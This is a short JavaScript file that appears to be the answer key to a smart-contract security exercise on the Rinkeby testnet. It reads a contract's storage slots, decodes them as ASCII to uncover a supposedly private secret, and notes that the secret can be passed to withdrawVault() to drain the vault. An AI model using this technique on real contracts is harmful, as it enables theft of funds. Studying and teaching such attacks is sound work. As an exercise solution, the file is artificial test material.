exploit1-answer.js

const Web3 = require('web3');
web3 = new Web3(new Web3.providers.HttpProvider('https://rinkeby.infura.io/v3/YOUR INFURA ID'));

class SimpleVulnerabilityScanner {

    async scan() {
        var contractAddress = 'INSERT CONTRACT ADDRESS HERE';
        var index;

        for (index = 0; index < 30; index++) {
            let output = await web3.eth.getStorageAt(contractAddress, index);
            var decodedStr = web3.utils.toAscii(output);
            console.log('Decoded contract ASCII data at index: ' + index + ': ' + decodedStr);
        }

        // call withdrawVault() with one of the decoded strings above
    }
}

let vulerabilityScan = new SimpleVulnerabilityScanner();
vulerabilityScan.scan();